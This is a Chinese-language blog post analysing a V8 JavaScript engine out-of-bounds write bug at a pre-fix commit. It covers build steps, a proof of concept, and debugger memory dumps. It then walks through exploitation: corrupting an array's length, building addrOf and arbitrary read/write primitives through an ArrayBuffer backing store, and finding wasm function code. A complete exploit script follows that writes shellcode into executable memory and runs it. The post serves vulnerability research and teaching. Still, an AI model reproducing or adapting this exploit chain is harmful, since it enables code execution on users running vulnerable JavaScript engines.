本文为本博客V8系列第五篇。
漏洞基本信息
根据漏洞基本信息可准备分析环境,先切换至漏洞修复前版本。
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
对源码进行编译。
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
PoC
以下POC代码执行后,a2数组的长度会被改变。
// Flags: --allow-natives-syntax
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
}
var a1, a2;
var a3 = [1.1,2.2];
print("GT1");
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
print("GT2");
for (let i = 0; i < 10000; i++) fun(...a4);
// %OptimizeFunctionOnNextCall(fun);
print("GT3");
fun(...a3);
print("GT4");
for (i = 0; i < a2.length; i++){
console.log(a2[i]);
}
print("GT5");
console.log(a2.length);
print("GT6");
从执行结果可以看出,我们POC中并没有对数组a2 = new Array(0x10)
进行任何长度的改变,它应该自始至终长度都是16,但是在最后的输出中却发现它变成了一个长度为42的数组,能够把除了自己16个元素以外的数据进行输出!输出的数据里自然是包含了自己内存下方其它对象的内存数据。而且还可以更改!
漏洞成因
在执行fun(...a3)
之前,a2数据结构如下:
DebugPrint: 0x3e50bb26ee09: [JSArray]
- map: 0x165cb6882f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x301591f10e09 <JSArray[0]>
- elements: 0x3e50bb26ed79 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
- length: 16
- properties: 0x028b4e380c29 <FixedArray[0]> {
#length: 0x3bb5c03801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3e50bb26ed79 <FixedDoubleArray[16]> {
0: 1.1
1-15: <the_hole>
}
0x165cb6882f29: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: HOLEY_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x165cb6882ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x3bb5c0380609 <Cell value= 1>
- instance descriptors #1: 0x301591f11821 <DescriptorArray[5]>
- layout descriptor: (nil)
- transitions #1: 0x301591f117c1 <TransitionArray[4]>Transition array #1:
0x028b4e384b81 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x165cb6882f79 <Map(PACKED_ELEMENTS)>
- prototype: 0x301591f10e09 <JSArray[0]>
- constructor: 0x301591f10bc9 <JSFunction Array (sfi = 0x3bb5c038d379)>
- dependent code: 0x028b4e3802c9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
执行以后,a2数据结构如下:
DebugPrint: 0x3e50bb27f1e9: [JSArray]
- map: 0x165cb6882f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x301591f10e09 <JSArray[0]>
- elements: 0x3e50bb27f159 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
- length: 42
- properties: 0x028b4e380c29 <FixedArray[0]> {
#length: 0x3bb5c03801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x3e50bb27f159 <FixedDoubleArray[65535]> {
0: 1.1
1-15: <the_hole>
16: 1.21478e-310
17: 1.38207e-311
18: 3.38516e-310
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
可以看出,就是fun(...a3)
导致的a2.length变化,不过此处%DebugPrint(a2)产生了报错,那么看一下前后的具体数据情况,执行前:
pwndbg> x/30gx 0x1c9210deebf0
0x1c9210deebf0: 0x00003d35a7a81461 0x0000001000000000 --> a2.element.length
0x1c9210deec00: 0x3ff199999999999a 0xfff7fffffff7ffff
0x1c9210deec10: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec20: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec30: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec40: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec50: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec60: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec70: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210deec80: 0x000001a1cc382f29 0x00003d35a7a80c29
0x1c9210deec90: 0x00001c9210deebf1 0x0000001000000000 --> a2.length
0x1c9210deeca0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210deecb0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210deecc0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210deecd0: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
执行后:
pwndbg> x/30gx 0x1c9210dfefc8
0x1c9210dfefc8: 0x00003d35a7a81461 0x0000ffff00000000 --> a2.element.length
0x1c9210dfefd8: 0x3ff199999999999a 0xfff7fffffff7ffff
0x1c9210dfefe8: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfeff8: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff008: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff018: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff028: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff038: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff048: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff058: 0x000001a1cc382f29 0x00003d35a7a80c29
0x1c9210dff068: 0x00001c9210dfefc9 0x0000002a00000000 --> a2.length
0x1c9210dff078: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210dff088: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210dff098: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210dff0a8: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
可以看出,执行后的a2与自己element的长度被修改了,同时POC中把两处原本应该同时为0x0000001000000000
的长度分别改成了0x0000002a00000000
与0x0000ffff00000000
,其中前者就是我们POC执行后a2被篡改的长度4。而这两个数据均来自于对fun()中对a1的操作:
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 8.91238232205e-313; // 0x2a00000000
可以注意到,a2与自己element的长度之间正好相差了20个数据的距离,可能就是a1[41]
与a1[21]
。于是进一步查看a1与a2的数据:
pwndbg> x/50gx 0x1c9210dfef18
0x1c9210dfef18: a1.element 0x00003d35a7a81461 0x0000001000000000 a1.element.length
0x1c9210dfef28: a1[0] 0x3ff199999999999a 0xfff7fffffff7ffff
0x1c9210dfef38: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfef48: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfef58: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfef68: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfef78: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfef88: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfef98: 0xfff7fffffff7ffff 0xfff7fffffff7ffff a1[15]
0x1c9210dfefa8: a1 0x000001a1cc382f29 0x00003d35a7a80c29
0x1c9210dfefb8: 0x00001c9210dfef19 0x0000001000000000 a1.length
0x1c9210dfefc8: a2.element 0x00003d35a7a81461 0x0000ffff00000000 a2.element.length = a[21]
0x1c9210dfefd8: 0x3ff199999999999a 0xfff7fffffff7ffff
0x1c9210dfefe8: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dfeff8: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff008: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff018: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff028: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff038: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff048: 0xfff7fffffff7ffff 0xfff7fffffff7ffff
0x1c9210dff058: a2 0x000001a1cc382f29 0x00003d35a7a80c29
0x1c9210dff068: 0x00001c9210dfefc9 0x0000002a00000000 a2.length = a[41]
0x1c9210dff078: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210dff088: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
0x1c9210dff098: 0xdeadbeedbeadbeef 0xdeadbeedbeadbeef
从上面的数据就可以看出,漏洞成因的确就是此时a1的越界读写。
漏洞利用
利用POC的代码就能够成功把a2(下文exp中也称为oob_double_array)变成一个很长的数组任意读写,这使得本漏洞的利用非常容易。
第一步
通过上面的excel内存分析,漏洞发生时a1除了21、41以外,还有19元素是表示a1.length的,但是a1.elements.length并没有办法修改,因为在元素的上方,这样一来a1的两个length有不一致的问题,可能引起不稳定。因此,依然选择修改下方a2和a2.elements的length为同样的一个较大的值,这样之后一直操控a2便能应对各种意外的安全检查。
第二步
那么在完成了修改后a2就变得非常大了。但是a2是oob_double_Array,存取方式都是按照double数据的规则来存取的,这样有利于修改数据但是我们还需要addrOf原语,也就是需要泄露别的类型的object对象的地址。因此,exp中又创建了object_array,其紧贴在在a2/oob_double_Array的下方。于是我们便可以用oob_double_Array的[23]来读取object_array[1]!这样一来我们只要对object_array[1]进行目标object的赋值操作就可以得到目标object的地址啦!
第三步
于是得到了最后shellcode执行函数f()对象的地址!
那么,接下来就只要做两件事情:
- 老套路,创建一个arraybuffer来想办法修改它的backing store进行全局任意读写
- 顺着f()函数对象去寻找它的汇编代码位置
第四步
先做第一件事,创建了一个oob_buffer,但是它却并没有紧贴着上面的那些对象,因此,a2和这个oob_buffer的距离不确定,不知道oob_double_Array[?????]是oob_buffer的backing store。不要紧,像第二第三步一样,把oob_buffer赋值给object_array[1],然后把oob_double_Array的[23]读出来就是oob_buffer的地址了。同理把a2自己也赋值给object_array[1],然后自己读自己的[23]也就知道自己的地址了。两个减一下,也不远,算一下offset就行了。
于是这时候a2/oob_double_Array[offset]就是oob_buffer.backingstore。想读写哪里就oob_double_Array[offset]=target_addr;oob_buffer[…]=…就好啦。
第五步
由于参考1中是在windows上的,那么需要自己写一套ubuntu上的exp。参考2中教会了我通过没有优化过的wasm函数f()对象逐渐找到部分汇编代码的方式,我们来看一下:
f() object:
偏移0x18=shared_info:
偏移0x8=wasm_exported_function_data:
偏移0x10=instance:
偏移0xC0=imported_function_targets:保存code的地址
偏移0x0=code
于是使用backingstore读一个地址+偏移上的地址,然后改成它,接着读下一个,一直把最终code的地址读出来后backingstore改成这个,接下来便直接把shellcode往oob_buffer里写就可以了。最后执行f()即可。
PS
这里需要注意的是f()需要足够大,如果就是一个return 1的话是不够的,通过新增一些无聊的计算逻辑如a+b*c-3.14这样的表达式发现长度增加也不大,于是增加了一个puts的输出调用,发现f()的长度长了好多,可以放得下shellcode了。制作ast字节码的网页是: https://wasdk.github.io/WasmFiddle/
最终效果
当然还是弹了个计算器啦。
EXP
function d2u(num1,num2){
d = new Uint32Array(2);
d[0] = num1;
d[1] = num2;
float = new Float64Array(d.buffer);
return float[0];
}
String.prototype.padLeft =
Number.prototype.padLeft = function(total, pad) {
return (Array(total).join(pad || 0) + this).slice(-total);
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++){
//console.log(bytes[i].toString(16));
res.push(('0' + bytes[i].toString(16)).substr(-2));
}
return res.join('');
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
var chunk = data.slice(i, i+16);
for (var i = 0; i < data.length; i += 16) {
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
//console.log(bigEndian.toString());
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
//console.log("toString");
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function and(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
function hex(a) {
if (a == undefined) return "0xUNDEFINED";
var ret = a.toString(16);
if (ret.substr(0,2) != "0x") return "0x"+ret;
else return ret;
}
function lower(x) {
// returns the lower 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-8,8),16) | 0;
}
function upper(x) {
// returns the upper 32bit of double x
return parseInt(("0000000000000000" + Int64.fromDouble(x).toString()).substr(-16, 8),16) | 0;
}
function lowerint(x) {
// returns the lower 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}
function upperint(x) {
// returns the upper 32bit of int x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}
function combine(a, b) {
//a = a >>> 0;
//b = b >>> 0;
//console.log(a.toString());
//console.log(b.toString());
return parseInt(Int64.fromDouble(b).toString() + Int64.fromDouble(a).toString(), 16);
}
//padLeft用于字符串左补位
function combineint(a, b) {
//a = a >>> 0;
//b = b >>> 0;
return parseInt(b.toString(16).substr(-8,8) + (a.toString(16)).padLeft(8), 16);
}
function gc(){
for (var i = 0; i < 1024 * 1024 * 16; i++){
new String();
}
}
function clear_space(){
gc();
gc();
}
function get_shell(){
return 1+1;
}
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
//--------------------tools above---------------------------
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0
]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.GToadLuck;
f();
var leak = f;
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
oob_double_Array = new Array(0x10);
oob_double_Array[0] = 1.1;
object_Array = new Array(0x10);
object_Array[0] = {};
object_Array[1] = leak;
x = x >> 16
a1[x*19] = 2.60750842793813e-310;
a1[x*21] = 2.60750842793813e-310;
a1[x*41] = 2.60750842793813e-310;
}
var a1, oob_double_Array, object_Array,oob_buffer;
var a3 = [1.1, 2.2];
a3.length = 0x11000;
a3.fill(3.3);
var a4 = [1.1];
for(let i = 0; i < 10000; i++) fun(...a4);
console.log("GT1");
%DebugPrint(leak); // debug 0x325565da4511 0x325565da44d9
%DebugPrint(fun);
%SystemBreak();
fun(...a3);
console.log("GT2");
%DebugPrint(a1);
%DebugPrint(oob_double_Array); // debug 0x2a46939e779
%DebugPrint(object_Array);
f();
%SystemBreak();
function user_space_read(leak){
object_Array[1] = leak;
return oob_double_Array[23];
}
function writePtr(offset, address, value){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
fake_dv[0] = value;
}
function readPtr(offset, address){
oob_double_Array[offset] = address;
fake_dv = new Float64Array(oob_buffer);
return fake_dv[0];
}
function_addr = oob_double_Array[23];
//console.log("[+] the f() function addr is at " + Int64.fromDouble(function_addr).toString());
oob_buffer = new ArrayBuffer(0x1000);
console.log("GT3");
%DebugPrint(oob_buffer); // debug 0x2a46939e891
f();
%SystemBreak();
oob_buffer_addr = user_space_read(oob_buffer);
//console.log("[+] ob_buffer addr is at " + Int64.fromDouble(oob_buffer_addr).toString());
oob_array_addr = user_space_read(oob_double_Array);
//console.log("[+] oob_double_Array addr is at " + Int64.fromDouble(oob_array_addr).toString());
temp1 = Int64.fromDouble(oob_buffer_addr + new Int64(0x1f).asDouble() - oob_array_addr + new Int64(0x81).asDouble());
offset = lowerint(temp1) / 8;
console.log(offset.toString());
console.log("GT4");
f();
%SystemBreak();
shared_info = readPtr(offset, function_addr + new Int64(0x17).asDouble());
console.log("[+] shared_info is at " + Int64.fromDouble(shared_info).toString());
wasm_exported_function_data = readPtr(offset, shared_info + new Int64(0x7).asDouble());
console.log("[+] wasm_exported_function_data is at " + Int64.fromDouble(wasm_exported_function_data).toString());
instance = readPtr(offset, wasm_exported_function_data + new Int64(0xf).asDouble());
console.log("[+] instance is at " + Int64.fromDouble(instance).toString());
//----------imported_function_targets is not double---------------
oob_double_Array[offset] = instance + new Int64(0xbf).asDouble(); //backing store
var ift_buffer = new Uint32Array(oob_buffer);
imported_function_targets = d2u(ift_buffer[0],ift_buffer[1]);
console.log(ift_buffer[0]);
console.log(ift_buffer[1]);
//imported_function_targets = readPtr(offset, instance + new Int64(0xc7).asDouble());
console.log("[+] imported_function_targets is at " + Int64.fromDouble(imported_function_targets).toString());
code_addr = readPtr(offset, imported_function_targets);
console.log("[+] code_addr is at " + Int64.fromDouble(code_addr).toString());
console.log("GT5");
console.log("[+] the f() code addr is at " + Int64.fromDouble(code_addr).toString());
f();
%SystemBreak();
oob_double_Array[offset] = code_addr; //backing store
var shellcode = new Uint32Array(oob_buffer);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163;
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030;
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
console.log("GT6");
%DebugPrint(f);
%SystemBreak();
f();